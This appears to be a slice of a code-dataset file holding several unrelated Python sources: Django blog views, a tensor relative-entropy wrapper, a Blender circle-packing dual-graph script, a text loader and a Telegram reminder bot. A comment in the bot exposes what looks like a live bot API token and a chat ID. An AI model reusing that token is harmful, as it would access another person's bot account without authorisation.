Post.objects.get(pk=pk)\n cates = Category.objects.all()\n tags = Tag.objects.all()\n url = \"https://www.iameric.net\"\n query = request.GET.get('q')\n if query:\n search = Post.objects.filter(title__icontains=query)\n else:\n search = Post.objects.all()\n\n return render(request, 'blog/post_detail.html', {\n 'post': post,\n 'recent_posts': recent_posts,\n 'cates': cates,\n 'tags': tags,\n 'search': search,\n 'url': url,\n })\n\n\n# view function to display post by category\ndef blog_post_by_category(request, category_slug):\n category = Category.objects.get(slug=category_slug)\n cates = Category.objects.all()\n posts = Post.objects.filter(category__slug=category_slug)\n recent_posts = Post.objects.order_by('-pub_date')[0:5]\n tags = Tag.objects.all()\n url = \"https://www.iameric.net\"\n paginator = Paginator(posts, 8)\n\n # get the page parameter from the query string\n # if page parameter is available get() method will return empty string ''\n page = request.GET.get('page')\n\n try:\n # create Page object for the given page\n posts = paginator.page(page)\n except PageNotAnInteger:\n # if page parameter in the query string is not available, return the first page\n posts = paginator.page(1)\n except EmptyPage:\n # if the value of the page parameter exceeds num_pages then return the last page\n posts = paginator.page(paginator.num_pages)\n\n context = {\n 'category': category,\n 'posts': posts,\n 'cates': cates,\n 'recent_posts': recent_posts,\n 'tags': tags,\n 'url': url,\n }\n print(category)\n return render(request, 'blog/post_by_category.html', context)\n\n\n# view function to display post by tag\ndef blog_post_by_tag(request, tag_slug):\n tag = Tag.objects.get(slug=tag_slug)\n tags = Tag.objects.all()\n posts = Post.objects.filter(tags__slug=tag_slug)\n recent_posts = Post.objects.order_by('-pub_date')[0:5]\n cates = Category.objects.all()\n url = \"https://www.iameric.net\"\n paginator = Paginator(posts, 8)\n\n # get the page parameter from the query string\n # if page parameter is available get() method will return empty string ''\n page = request.GET.get('page')\n\n try:\n # create Page object for the given page\n posts = paginator.page(page)\n except PageNotAnInteger:\n # if page parameter in the query string is not available, return the first page\n posts = paginator.page(1)\n except EmptyPage:\n # if the value of the page parameter exceeds num_pages then return the last page\n posts = paginator.page(paginator.num_pages)\n\n context = {\n 'tags': tags,\n 'tag': tag,\n 'cates': cates,\n 'posts': posts,\n 'recent_posts': recent_posts,\n 'url': url,\n }\n return render(request, 'blog/post_by_tag.html', context)\n\n\ndef blog_search(request):\n query = request.GET.get('q')\n recent_posts = Post.objects.order_by('-pub_date')[0:5]\n cates = Category.objects.all()\n tags = Tag.objects.all()\n url = \"https://www.iameric.net\"\n\n if query:\n posts = Post.objects.filter(title__icontains=query)\n else:\n posts = Post.objects.all()\n\n paginator = Paginator(posts, 8)\n\n # get the page parameter from the query string\n # if page parameter is available get() method will return empty string ''\n page = request.GET.get('page')\n\n try:\n # create Page object for the given page\n posts = paginator.page(page)\n except PageNotAnInteger:\n # if page parameter in the query string is not available, return the first page\n posts = paginator.page(1)\n except EmptyPage:\n # if the value of the page parameter exceeds num_pages then return the last page\n posts = paginator.page(paginator.num_pages)\n\n return render(request, 'blog/post_search.html', {\n 'posts': posts,\n 'recent_posts': recent_posts,\n 'cates': cates,\n 'tags': tags,\n 'query': query,\n 'url': url,\n })\n\n\ndef blog_feedback(request):\n if request.method == 'POST':\n f = FeedbackForm(request.POST)\n if f.is_valid():\n f.save()\n messages.add_message(request, messages.INFO, 'Feedback Submitted.')\n return redirect('blog_feedback')\n else:\n f = FeedbackForm()\n return render(request, 'blog/feedback.html', {'form': f})", "sub_path": "blog/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 6319, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "models.Post.objects.order_by", "line_number": 12, "usage_type": "call"}, {"api_name": "models.Post.objects", "line_number": 12, "usage_type": "attribute"}, {"api_name": "models.Post", "line_number": 12, "usage_type": "name"}, {"api_name": "models.Author.objects.all", "line_number": 13, "usage_type": "call"}, {"api_name": "models.Author.objects", "line_number": 13, "usage_type": "attribute"}, {"api_name": "models.Author", "line_number": 13, "usage_type": "name"}, {"api_name": "models.About.objects.all", "line_number": 14, "usage_type": "call"}, {"api_name": "models.About.objects", "line_number": 14, "usage_type": "attribute"}, {"api_name": "models.About", "line_number": 14, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 16, "usage_type": "call"}, {"api_name": "models.Post.objects.order_by", "line_number": 26, "usage_type": "call"}, {"api_name": "models.Post.objects", "line_number": 26, "usage_type": "attribute"}, {"api_name": "models.Post", "line_number": 26, "usage_type": "name"}, {"api_name": "models.Category.objects.all", "line_number": 27, "usage_type": "call"}, {"api_name": "models.Category.objects", "line_number": 27, "usage_type": "attribute"}, {"api_name": "models.Category", "line_number": 27, "usage_type": "name"}, {"api_name": "models.Tag.objects.all", "line_number": 28, "usage_type": "call"}, {"api_name": "models.Tag.objects", "line_number": 28, "usage_type": "attribute"}, {"api_name": "models.Tag", "line_number": 28, "usage_type": "name"}, {"api_name": "models.Post.objects.order_by", "line_number": 29, "usage_type": "call"}, {"api_name": "models.Post.objects", "line_number": 29, "usage_type": "attribute"}, {"api_name": "models.Post", "line_number": 29, "usage_type": "name"}, {"api_name": "django.core.paginator.Paginator", "line_number": 31, "usage_type": "call"}, {"api_name": "django.core.paginator.PageNotAnInteger", "line_number": 40, "usage_type": "name"}, {"api_name": "django.core.paginator.EmptyPage", "line_number": 43, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 47, "usage_type": "call"}, {"api_name": "models.Post.objects.order_by", "line_number": 57, "usage_type": "call"}, {"api_name": "models.Post.objects", "line_number": 57, "usage_type": "attribute"}, {"api_name": "models.Post", "line_number": 57, "usage_type": "name"}, {"api_name": "models.Post.objects.get", "line_number": 58, "usage_type": "call"}, {"api_name": "models.Post.objects", "line_number": 58, "usage_type": "attribute"}, {"api_name": "models.Post", "line_number": 58, "usage_type": "name"}, {"api_name": "models.Category.objects.all", "line_number": 59, "usage_type": "call"}, {"api_name": "models.Category.objects", "line_number": 59, "usage_type": "attribute"}, {"api_name": "models.Category", "line_number": 59, "usage_type": "name"}, {"api_name": "models.Tag.objects.all", "line_number": 60, "usage_type": "call"}, {"api_name": "models.Tag.objects", "line_number": 60, "usage_type": "attribute"}, {"api_name": "models.Tag", "line_number": 60, "usage_type": "name"}, {"api_name": "models.Post.objects.filter", "line_number": 64, "usage_type": "call"}, {"api_name": "models.Post.objects", "line_number": 64, "usage_type": "attribute"}, {"api_name": "models.Post", "line_number": 64, "usage_type": "name"}, {"api_name": "models.Post.objects.all", "line_number": 66, "usage_type": "call"}, {"api_name": "models.Post.objects", "line_number": 66, "usage_type": "attribute"}, {"api_name": "models.Post", "line_number": 66, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 68, "usage_type": "call"}, {"api_name": "models.Category.objects.get", "line_number": 80, "usage_type": "call"}, {"api_name": "models.Category.objects", "line_number": 80, "usage_type": "attribute"}, {"api_name": "models.Category", "line_number": 80, "usage_type": "name"}, {"api_name": "models.Category.objects.all", "line_number": 81, "usage_type": "call"}, {"api_name": "models.Category.objects", "line_number": 81, "usage_type": "attribute"}, {"api_name": "models.Category", "line_number": 81, "usage_type": "name"}, {"api_name": "models.Post.objects.filter", "line_number": 82, "usage_type": "call"}, {"api_name": "models.Post.objects", "line_number": 82, "usage_type": "attribute"}, {"api_name": "models.Post", "line_number": 82, "usage_type": "name"}, {"api_name": "models.Post.objects.order_by", "line_number": 83, "usage_type": "call"}, {"api_name": "models.Post.objects", "line_number": 83, "usage_type": "attribute"}, {"api_name": "models.Post", "line_number": 83, "usage_type": "name"}, {"api_name": "models.Tag.objects.all", "line_number": 84, "usage_type": "call"}, {"api_name": "models.Tag.objects", "line_number": 84, "usage_type": "attribute"}, {"api_name": "models.Tag", "line_number": 84, "usage_type": "name"}, {"api_name": "django.core.paginator.Paginator", "line_number": 86, "usage_type": "call"}, {"api_name": "django.core.paginator.PageNotAnInteger", "line_number": 95, "usage_type": "name"}, {"api_name": "django.core.paginator.EmptyPage", "line_number": 98, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 111, "usage_type": "call"}, {"api_name": "models.Tag.objects.get", "line_number": 116, "usage_type": "call"}, {"api_name": "models.Tag.objects", "line_number": 116, "usage_type": "attribute"}, {"api_name": "models.Tag", "line_number": 116, "usage_type": "name"}, {"api_name": "models.Tag.objects.all", "line_number": 117, "usage_type": "call"}, {"api_name": "models.Tag.objects", "line_number": 117, "usage_type": "attribute"}, {"api_name": "models.Tag", "line_number": 117, "usage_type": "name"}, {"api_name": "models.Post.objects.filter", "line_number": 118, "usage_type": "call"}, {"api_name": "models.Post.objects", "line_number": 118, "usage_type": "attribute"}, {"api_name": "models.Post", "line_number": 118, "usage_type": "name"}, {"api_name": "models.Post.objects.order_by", "line_number": 119, "usage_type": "call"}, {"api_name": "models.Post.objects", "line_number": 119, "usage_type": "attribute"}, {"api_name": "models.Post", "line_number": 119, "usage_type": "name"}, {"api_name": "models.Category.objects.all", "line_number": 120, "usage_type": "call"}, {"api_name": "models.Category.objects", "line_number": 120, "usage_type": "attribute"}, {"api_name": "models.Category", "line_number": 120, "usage_type": "name"}, {"api_name": "django.core.paginator.Paginator", "line_number": 122, "usage_type": "call"}, {"api_name": "django.core.paginator.PageNotAnInteger", "line_number": 131, "usage_type": "name"}, {"api_name": "django.core.paginator.EmptyPage", "line_number": 134, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 146, "usage_type": "call"}, {"api_name": "models.Post.objects.order_by", "line_number": 151, "usage_type": "call"}, {"api_name": "models.Post.objects", "line_number": 151, "usage_type": "attribute"}, {"api_name": "models.Post", "line_number": 151, "usage_type": "name"}, {"api_name": "models.Category.objects.all", "line_number": 152, "usage_type": "call"}, {"api_name": "models.Category.objects", "line_number": 152, "usage_type": "attribute"}, {"api_name": "models.Category", "line_number": 152, "usage_type": "name"}, {"api_name": "models.Tag.objects.all", "line_number": 153, "usage_type": "call"}, {"api_name": "models.Tag.objects", "line_number": 153, "usage_type": "attribute"}, {"api_name": "models.Tag", "line_number": 153, "usage_type": "name"}, {"api_name": "models.Post.objects.filter", "line_number": 157, "usage_type": "call"}, {"api_name": "models.Post.objects", "line_number": 157, "usage_type": "attribute"}, {"api_name": "models.Post", "line_number": 157, "usage_type": "name"}, {"api_name": "models.Post.objects.all", "line_number": 159, "usage_type": "call"}, {"api_name": "models.Post.objects", "line_number": 159, "usage_type": "attribute"}, {"api_name": "models.Post", "line_number": 159, "usage_type": "name"}, {"api_name": "django.core.paginator.Paginator", "line_number": 161, "usage_type": "call"}, {"api_name": "django.core.paginator.PageNotAnInteger", "line_number": 170, "usage_type": "name"}, {"api_name": "django.core.paginator.EmptyPage", "line_number": 173, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 177, "usage_type": "call"}, {"api_name": "forms.FeedbackForm", "line_number": 189, "usage_type": "call"}, {"api_name": "django.contrib.messages.add_message", "line_number": 192, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 192, "usage_type": "name"}, {"api_name": "django.contrib.messages.INFO", "line_number": 192, "usage_type": "attribute"}, {"api_name": "django.shortcuts.redirect", "line_number": 193, "usage_type": "call"}, {"api_name": "forms.FeedbackForm", "line_number": 195, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 196, "usage_type": "call"}]} +{"seq_id": "221204784", "text": "# Copyright 1999-2020 Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\ntry:\n from scipy.special import rel_entr as scipy_rel_entr\nexcept ImportError: # pragma: no cover\n scipy_rel_entr = None\n\nfrom ... import opcodes as OperandDef\nfrom ...utils import require_not_none\nfrom ..utils import infer_dtype\nfrom .core import TensorSpecialBinOp\n\n\nclass TensorRelEntr(TensorSpecialBinOp):\n _op_type_ = OperandDef.REL_ENTR\n _func_name = 'rel_entr'\n\n def _is_sparse(cls, x1, x2):\n if hasattr(x1, 'issparse') and x1.issparse():\n return True\n return False\n\n\n@require_not_none(scipy_rel_entr)\n@infer_dtype(scipy_rel_entr)\ndef rel_entr(x1, x2, out=None, where=None, **kwargs):\n \"\"\"\n Elementwise function for computing relative entropy.\n\n .. math:: \\mathrm{rel\\_entr}(x, y) = \\begin{cases} x \\log(x / y) & x > 0, y > 0 \\\\ 0 & x = 0, y \\ge 0 \\\\ \\infty & \\text{otherwise} \\end{cases}\n\n Parameters\n ----------\n x : Tensor\n First input tensor.\n y : ndarray\n Second input tensor.\n\n Returns\n -------\n res : Tensor\n Output tensor.\n\n See Also\n --------\n entr, kl_div\n\n Notes\n -----\n This function is jointly convex in x and y.\n \"\"\"\n op = TensorRelEntr(**kwargs)\n return op(x1, x2, out=out, where=where)\n", "sub_path": "mars/tensor/special/rel_entr.py", "file_name": "rel_entr.py", "file_ext": "py", "file_size_in_byte": 1825, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "scipy.special.rel_entr", "line_number": 18, "usage_type": "name"}, {"api_name": "core.TensorSpecialBinOp", "line_number": 26, "usage_type": "name"}, {"api_name": "utils.require_not_none", "line_number": 36, "usage_type": "call"}, {"api_name": "scipy.special.rel_entr", "line_number": 36, "usage_type": "argument"}, {"api_name": "utils.infer_dtype", "line_number": 37, "usage_type": "call"}, {"api_name": "scipy.special.rel_entr", "line_number": 37, "usage_type": "argument"}]} +{"seq_id": "517057018", "text": "import math\nimport bpy\n\ndef slope(edge):\n a, b = edge\n ax,ay = a\n bx,by = b\n return (by - ay)/(bx - ax)\n\ndef distance(a,b):\n ax,ay = a\n bx,by = b\n return (abs((ax-bx)**2)+abs((ay-by)**2))**.5\n\ndef slopenormal(edgeslope):\n if edgeslope == 0:\n return 9e20\n return - 1/edgeslope\n\ndef norm(vec):\n ##2d norm\n vx, vy = vec\n d = (abs(vx**2)+abs(vy**2))**.5\n vx = vx/d\n vy = vy/d\n return [vx,vy]\n\ndef scalemultvec(scalar,vec):\n vx,vy = vec\n return [scalar*vx,scalar*vy]\n\ndef ltolintersect(line1,line2):\n ## line is given of the form (a,c) for instance,\n ## where y = ax + c is the form of the line equation\n a,c = line1\n b,d = line2\n return ((d-c)/(a-b),(a*d-b*c)/(a-b))\n\ndef getLine(slope,point):\n x1,y1 = point\n return (slope, y1-slope*x1)\n\ndef midpoint(edge):\n a,b = edge\n return ((a[0]+b[0])/2.0,(a[1]+b[1])/2.0)\n\ndef addvecs(vec1,vec2):\n vx1,vy1 = vec1\n vx2,vy2 = vec2\n return [vx1+vx2,vy1+vy2]\n\ndef v1equalv2(v1,v2):\n v1x,v1y = v1\n v2x,v2y = v2\n if v1x == v2x and v1y == v2y:\n return True\n else:\n return False\n\ndef computeNodePairLine(C1,C2,NodePairLine):\n ## always keyed (c1,c2)\n ## C1 and C2 keyed with tuple (nodeindex,(center,radius))\n ## for circle packing center is in complex coordinates\n ## It is important to know that CirclePacks are approximation\n ## according to the numerical methods used for CirclePack\n ## meaning that Circle may not be perfectly and exactly tangent\n ## in relation to one another. This means that we may need to find\n ## medians where tangency is not completely a given.\n ## This means that we find the tangent point on each of the circle\n ## relative to its provided radius and test both points for position\n ## equality where either point is furnished by vectors running\n ## from one circle center to other. If they are equal then both\n ## circles are completely tangent and generally we are nearly done\n ## computing the dual graph line (we just compute the normal slope\n ## of such line between circle centers) and use our provided tangent\n ## point in determining the line. Otherwise, we'd need to find the\n ## the median between either tangent point on either circle, and\n ## then similarly compute the inverse negative (or normal slope) of\n ## of the original line between circle centers.\n c1node, cpackc1 = C1\n c2node, cpackc2 = C2\n ##print('C1: ', C1)\n ##print('C2: ', C2)\n center1, radius1 = cpackc1\n cx1 = float(center1.real)\n cy1 = float(center1.imag)\n c1 = [cx1,cy1]\n ##print('c1: ', c1)\n center2, radius2 = cpackc2\n cx2 = float(center2.real)\n cy2 = float(center2.imag)\n c2 = [cx2,cy2]\n ##print('c2: ', c2)\n ## two opposite vectors c1-c2 and c2-c1\n v1 = [cx1-cx2,cy1-cy2] ## in the direction of c1 from c2\n v2 = [cx2-cx1,cy2-cy1] ## in the direction of c2 from c1\n ##print('v1: ', v1)\n ##print('v2: ', v2)\n v1 = norm(v1) \n v2 = norm(v2)\n v1 = scalemultvec(radius2,v1) ## tangent point on c2 almost, right length\n ## right direction, but vector not at the right origin\n v2 = scalemultvec(radius1,v2) ## tangent point on c1 almost\n ## translate vectors to their respective points of origin\n v1 = addvecs(v1,c2)\n v2 = addvecs(v2,c1)\n if v1equalv2(v1,v2):\n edge = (v1,c2)\n m = slope(edge)\n m = slopenormal(m)\n line = getLine(m,v1)\n NodePairLine[(c1node,c2node)] = line\n else:\n edge = (v1,v2)\n mpoint = midpoint(edge)\n edge = (mpoint,c1)\n m = slope(edge)\n m = slopenormal(m)\n line = getLine(m,mpoint)\n NodePairLine[(c1node,c2node)] = line\n \nNodePairLine = {}\nTripleIntersect = {}\nvertices = []\nfaces = []\nnodetofaceind = {}\nEdgestofaces = {}\n\n## A circle pack alongside a given Complex is needed here\n\ndef gDualGraphN(Cpack,Complex,Root, NodePairLine, TripleIntersect,\n vertices, faces, nodetofaceind, edgestofaces):\n ## Root is the root node in which to generate dual graph\n ## nodes.\n ## Root nodes should only be 'interior' node from such Complex.\n ## Complex should be in the form of corresponding Complex node keys,\n ## irrespective of interior, exterior designations, with all nodes\n ## having walk (cycle) neighbors indicated.\n ## On Complex dictionary cycle walk for a root node is keyed\n ## 'neighbors' with a list set.\n ## Cpack should have the same corresponding node labels as Complex.\n ## NodePairLine is a tracking dictionary to reduce computation load\n ## by tracking what has already previously been computed.\n ## TripleIntersect is a two level dictionary set. One level\n ## is given by a double node pair followed by a triple third key\n ## which is valued to the intersect vertex index (for the dual graph).\n ## This is for tracking and to avoid adding duplicate vertices.\n ## This is done by computation of double line intersections\n ## where double lines are generated from tangency point computations\n ## between each neighboring node to root and the neighboring node to\n ## neighboring node. These intersections form the dual graph vertices.\n ## All of these vertices together in a walk computation around the root\n ## node form the face of the Dual Graph of a root node. \n neighbors = Complex[Root]['neighbors']\n face = []\n for index, neighbor in enumerate(neighbors):\n\n nneighbor = None\n nindex = None\n if index == len(neighbors)-1:\n nindex = 0\n nneighbor = neighbors[0]\n else:\n nindex = index+1\n nneighbor = neighbors[nindex]\n ## first we check to see that a given node triple\n ## has not already a computed intersect vertex.\n p1 = (neighbor,nneighbor)\n p2 = (nneighbor,neighbor)\n p3 = (Root,neighbor)\n p4 = (neighbor,Root)\n p5 = (Root,nneighbor)\n p6 = (nneighbor,Root)\n u1 = (neighbor,nneighbor) in TripleIntersect\n u2 = (nneighbor,neighbor) in TripleIntersect\n u4 = (Root,neighbor) in TripleIntersect\n u5 = (neighbor,Root) in TripleIntersect\n u6 = (Root,nneighbor) in TripleIntersect\n u7 = (nneighbor,Root) in TripleIntersect\n u3 = None\n if u1:\n if Root in TripleIntersect[p1]:\n u3 = TripleIntersect[p1][Root]\n if u2:\n if Root in TripleIntersect[p2]:\n u3 = TripleIntersect[p2][Root]\n if u4:\n if nneighbor in TripleIntersect[p3]:\n u3 = TripleIntersect[p3][nneighbor]\n if u5:\n if nneighbor in TripleIntersect[p4]:\n u3 = TripleIntersect[p4][nneighbor]\n if u6:\n if neighbor in TripleIntersect[p5]:\n u3 = TripleIntersect[p5][neighbor]\n if u7:\n if neighbor in TripleIntersect[p6]:\n u3 = TripleIntersect[p6][neighbor]\n if u3 == None:\n t1 = (Root,neighbor) in NodePairLine\n t2 = (neighbor,Root) in NodePairLine \n t3 = (Root,nneighbor) in NodePairLine\n t4 = (nneighbor,Root) in NodePairLine\n\n if not t1 and not t2:\n ## compute NodePairLine and store\n C1 = (Root,Cpack[Root])\n C2 = (neighbor,Cpack[neighbor])\n computeNodePairLine(C1,C2,NodePairLine)\n if not t3 and not t4:\n ## compute NodePairLine and store\n C1 = (Root,Cpack[Root])\n C2 = (nneighbor,Cpack[nneighbor])\n computeNodePairLine(C1,C2,NodePairLine)\n line1 = None\n line2 = None\n if t2:\n line1 = NodePairLine[(neighbor,Root)]\n else:\n line1 = NodePairLine[(Root,neighbor)]\n if t4:\n line2 = NodePairLine[(nneighbor,Root)]\n else:\n line2 = NodePairLine[(Root,nneighbor)]\n triplepoint = ltolintersect(line1,line2)\n if triplepoint in vertices:\n tindex = vertices.index(triplepoint)\n else:\n vertices.append(triplepoint)\n tindex = len(vertices)-1\n face.append(tindex)\n TripleIntersect[(Root,neighbor)] = {nneighbor:tindex}\n TripleIntersect[(Root,nneighbor)] = {neighbor:tindex}\n else:\n face.append(u3)\n\n faces.append(face)\n faceind = len(faces)-1\n for ind, vi in enumerate(face):\n nn = None\n if ind == len(face)-1:\n nn = face[0]\n else:\n nn = face[ind +1]\n t1 = (vi,nn) in edgestofaces\n t2 = (nn,vi) in edgestofaces\n \n if not t1:\n edgestofaces[(vi,nn)] = faceind\n nodetofaceind[len(faces)-1] = Cpack[Root]\n\ndef generateDualGraph(pack,CPack, NodePairLine,\n TripleIntersect, vertices, faces, nodetofaceind,\n edgestofaces = Edgestofaces):\n ## pack is interior,exterior,and full complex tuple dictionary package\n interior,exterior,Complex = pack\n for node in interior:\n gDualGraphN(CPack,Complex,node, NodePairLine, TripleIntersect,\n vertices, faces, nodetofaceind, edgestofaces)\n verticesc = []\n for vert in vertices:\n vx,vy = vert\n verticesc.append((vx,vy,0.0))\n vertices = verticesc\n meshName = \"CirclePackingDualGraph\"\n obName = \"CirclePackingDualGraphObj\"\n me = bpy.data.meshes.new(meshName)\n ob = bpy.data.objects.new(obName, me)\n ob.location = bpy.context.scene.cursor_location\n bpy.context.scene.objects.link(ob)\n me.from_pydata(vertices,[],faces) \n me.update(calc_edges=True)\n return (vertices,faces)\n\nvertices, faces = generateDualGraph(packs[0],cpack,NodePairLine,\n TripleIntersect, vertices, faces,\n nodetofaceind)\n\n", "sub_path": "CirclePackDualGraph2.py", "file_name": "CirclePackDualGraph2.py", "file_ext": "py", "file_size_in_byte": 9997, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "bpy.data.meshes.new", "line_number": 267, "usage_type": "call"}, {"api_name": "bpy.data", "line_number": 267, "usage_type": "attribute"}, {"api_name": "bpy.data.objects.new", "line_number": 268, "usage_type": "call"}, {"api_name": "bpy.data", "line_number": 268, "usage_type": "attribute"}, {"api_name": "bpy.context", "line_number": 269, "usage_type": "attribute"}, {"api_name": "bpy.context.scene.objects.link", "line_number": 270, "usage_type": "call"}, {"api_name": "bpy.context", "line_number": 270, "usage_type": "attribute"}]} +{"seq_id": "85851974", "text": "# Kyuhong Shim 2016\n\nimport numpy as np\nimport nltk\n\n# Nietzsche text data.\n# https://s3.amazonaws.com/text-datasets/nietzsche.txt\n# Download nietzsche.txt, save as ANSI encoding.\n# Change to character-level sequences.\n\n# nltk.download()\n# Download model -> punkt\n\ndef load_nietzsche(base_datapath, mode='character'):\n nietzsche = open(base_datapath + 'nietzsche/nietzsche.txt')\n corpus = nietzsche.read()\n if mode == 'character':\n print('Corpus length: ', len(corpus))\n sequences = list(bytearray(corpus.encode('utf-8'))) \n elif mode == 'word':\n sequences = nltk.word_tokenize(corpus)\n elif mode == 'sentence':\n corpus.replace('\\n', '')\n sequences = nltk.tokenize.sent_tokenize(corpus)\n else:\n raise NotImplementedError('Not yet supported')\n print('Sequence length: ', len(sequences))\n next_sequences = sequences[1:] + [sequences[0]]\n return sequences, next_sequences # return list of characters/words/sentences\n\n\nif __name__ == '__main__':\n base_datapath = 'C:/Users/skhu2/Dropbox/Project/data/'\n sequences, next_sequences = load_nietzsche(base_datapath, mode = 'word')\n print(len(sequences), len(next_sequences))", "sub_path": "lemontree/data/nietzsche.py", "file_name": "nietzsche.py", "file_ext": "py", "file_size_in_byte": 1201, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "nltk.word_tokenize", "line_number": 21, "usage_type": "call"}, {"api_name": "nltk.tokenize.sent_tokenize", "line_number": 24, "usage_type": "call"}, {"api_name": "nltk.tokenize", "line_number": 24, "usage_type": "attribute"}]} +{"seq_id": "340049444", "text": "import logging\nimport time\nimport datetime\nimport flask\nimport telebot\nfrom parser import url\nfrom config import token\nimport schedule\nimport threading\n\n\nAPI_TOKEN = token\nWEBHOOK_URL_BASE = url #https://6dc3bd5fa35c.ngrok.io\nWEBHOOK_URL_PATH = \"/%s/\" % (API_TOKEN) #/1131808189:AAE5Qp5cSQ3EW7q4h-sj6sOZyGbLd6LT5G4/\n\nlogger = telebot.logger\ntelebot.logger.setLevel(logging.INFO)\nbot = telebot.TeleBot(API_TOKEN)\napp = flask.Flask(__name__)\n#### Расписание для скриптов #########\ndef job():\n print(\"Время 8.00\")\n time_now = datetime.date.today()\n time_now = time_now.strftime('%Y-%m-%d') # Строка вида '2020-12-01'\n #time_now='2020-03-21'\n print(time_now)\n #funktion принимает 2 аргумента query и id=False, возвращает список словарей\n m = db_question.funktion(query=time_now) # m - это словарь типа {'user_id': 'День рождения у Грищенов Сергей, 21.09.1985, 35 лет', ....}\n print('это ответ от бд{}'.format(m))\n for elem in m:\n print('elem', elem)\n for key, value in elem.items(): # key = chat_id , value = '1999-12-12 день рождения у Иванов Иван Иваныч - 34 года\n print('key', key)\n print('value', value)\n bot.send_message(key, value)\n\ndef send_messages():\n bot.send_message('561518886', 'Привет, ')\n\nschedule.every(1).minutes.do(job)\n#schedule.every().day.at('08:00').do(job)\n#schedule.every(1).minutes.do(send_messages)\ndef go():\n while 1:\n schedule.run_pending()\n time.sleep(1)\nt = threading.Thread(target=go, name=\"тест\")\nt.start()\n### Конец блока расписание для скриптов ###\n\n\n@app.route('/html', methods=['GET', 'POST'])\ndef html():\n return 'это моя страница'\n\n\n@app.route('/', methods=['GET', 'HEAD'])\ndef index():\n return ''\n\n# Process webhook calls\n@app.route(WEBHOOK_URL_PATH, methods=['POST']) #WEBHOOK_URL_PATH='/1131808189:AAE5Qp5cSQ3EW7q4h-sj6sOZyGbLd6LT5G4/'\ndef webhook():\n if flask.request.headers.get('content-type') == 'application/json':\n json_string = flask.request.get_data().decode('utf-8')\n update = telebot.types.Update.de_json(json_string)\n bot.process_new_updates([update])\n return ''\n else:\n flask.abort(403)\n\n\n@bot.message_handler(content_types=['text'])\ndef send_text(message):\n chat_id=message.chat.id\n query=message.text.lower()\n query_list=query.split(',')\n query_list=list(map(lambda x:x.strip(), query_list)) # Убираем пробелы в элементах списка вначале и конце строк\n query_list.append(chat_id)\n print(query_list)\n if len(query_list)==5 and query_list[0]=='добавить' and query_list[1].count('-')==2: # Если добавить, и есть дата вида YYYY-MM-DD\n query_list.pop(0) # Убираем 'Добавить' из списка\n if check_date(query_list[0])==False: # Проверяем дату на валидность\n db_question.funktion(query, chat_id)\n bot.send_message(message.chat.id, 'Событие добавлено')\n else: bot.send_message(message.chat.id, check_date(query_list[0])) # Если дата хреновая, пишем в сообщение, что нам не понравилось\n\n elif len(query_list)>=2 and query_list[0]=='показать': # query_list включает два элемента ['показать', 'день рождения/фамилия']\n #bot.send_message(message.chat.id, 'начинаем извлечение из бд') # строка с запросом после 'показать'\n #print('Это query list{}', query_list) #['показать', 'день рождения', 561518886]\n m=db_question.funktion(query, chat_id) # m = [{chat_id:['День рождения у ...',\n print('это ответ от бд{}'.format(m))\n for elem in m:\n for key, answ in elem.items():\n for elem_2 in answ:\n bot.send_message(message.chat.id, elem_2)\n\n elif message.text.lower() == 'привет':\n bot.send_message(message.chat.id, 'Привет, мой создатель')\n elif message.text.lower() == 'пока':\n bot.send_message(message.chat.id, 'Прощай, создатель')\n elif message.text.lower() == 'я тебя люблю':\n bot.send_sticker(message.chat.id, 'CAADAgADZgkAAnlc4gmfCor5YbYYRAI')\n else:\n bot.send_message(message.chat.id, 'Для добавления события делай такой запрос через запятую: Добавить, 2001-01-01, Иванов Иван Иваныч, Годовщина свадьбы')\n\n\ndef check_date(valid_date): #'1985.03.21'\n valid_list_date=valid_date.split('-') #['1985', '03', '21']\n print(valid_list_date)\n if len(valid_list_date)!=3:\n return 'Формат даты:ГГГГ-ММ-ДД'\n elif len(valid_list_date[0])!=4:\n return 'Год должен состоять из 4 цифр и быть вначале даты!'\n elif int(valid_list_date[1]) > 12 or len(str(valid_list_date[1]))!=2:\n return 'Месяц должен состоять из 2 цифр и быть вторым в дате!'\n elif int(valid_list_date[2]) > 31 or len(str(valid_list_date[2]))!=2:\n return 'День должен состоять из двух цифр и быть последним в дате'\n else: return False\n\n\n\n# Remove webhook, it fails sometimes the set if there is a previous webhook\nbot.remove_webhook()\ntime.sleep(1)\n# Set webhook\nbot.set_webhook(url=WEBHOOK_URL_BASE + WEBHOOK_URL_PATH) #https://6dc3bd5fa35c.ngrok.io/1131808189:AAE5Qp5cSQ3EW7q4h-sj6sOZyGbLd6LT5G4/\n\n# Start flask server\napp.run(debug=True)", "sub_path": "testing.py", "file_name": "testing.py", "file_ext": "py", "file_size_in_byte": 6717, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "config.token", "line_number": 12, "usage_type": "name"}, {"api_name": "parser.url", "line_number": 13, "usage_type": "name"}, {"api_name": "telebot.logger", "line_number": 16, "usage_type": "attribute"}, {"api_name": "telebot.logger.setLevel", "line_number": 17, "usage_type": "call"}, {"api_name": "telebot.logger", "line_number": 17, "usage_type": "attribute"}, {"api_name": "logging.INFO", "line_number": 17, 